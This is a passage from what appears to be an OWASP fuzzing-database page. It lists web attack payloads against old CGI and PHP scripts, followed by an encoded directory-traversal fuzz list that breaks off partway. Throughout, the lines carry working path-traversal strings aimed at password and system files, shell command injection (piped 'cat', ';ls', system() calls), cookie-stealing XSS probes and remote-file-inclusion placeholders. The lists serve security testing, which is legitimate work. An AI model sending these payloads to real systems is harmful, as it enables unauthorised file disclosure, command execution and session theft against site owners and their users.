FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> 